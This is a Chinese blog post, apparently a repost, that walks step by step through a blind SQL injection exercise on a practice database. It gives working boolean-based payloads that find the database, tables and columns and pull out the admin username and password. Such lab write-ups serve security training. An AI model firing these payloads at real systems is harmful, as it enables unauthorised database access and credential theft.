sql注入爆出演练

输入?id=1
在这里插入图片描述
使用‘不报错
在这里插入图片描述
双引号不报错
在这里插入图片描述
看是否是数字型,and 1=1
在这里插入图片描述
再and 1=2,不报错
在这里插入图片描述

?id=1' and 1=1 --+

在这里插入图片描述
报错

?id=1' and 1=2 --+

在这里插入图片描述
可判断字段

order by 3 --+

在这里插入图片描述
在这里插入图片描述
查字段却发现没回显
在这里插入图片描述
盲注第一步,获取数据库长度
在这里插入图片描述
获取数据库的名字,判断出第一个库的第一个字母
在这里插入图片描述
发现为s
在这里插入图片描述
以此类推为security,查表名有多少个

?id=1' and (select count(*) from information_schema.tables where table_schema=database())=4 --+

在这里插入图片描述
判断第四个表有多长

?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 --+

在这里插入图片描述
查表得长度

?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 3,1)=117--+

在这里插入图片描述
以此类推得到表名为users,接下来出列名的username和password

?id=1' and (substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='u' --+
?id=1' and (substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))='s' --+

在这里插入图片描述

的列表中的username的admin列

?id=1' and left((select username from users order by id limit 8,1),5)='admin'--+

在这里插入图片描述

?id=1' and left((select password from users order by id limit 8,1),5)='admin'--+

在这里插入图片描述
得到表中的用户名和密码admin

发布了67 篇原创文章 · 获赞 13 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_44902875/article/details/105319922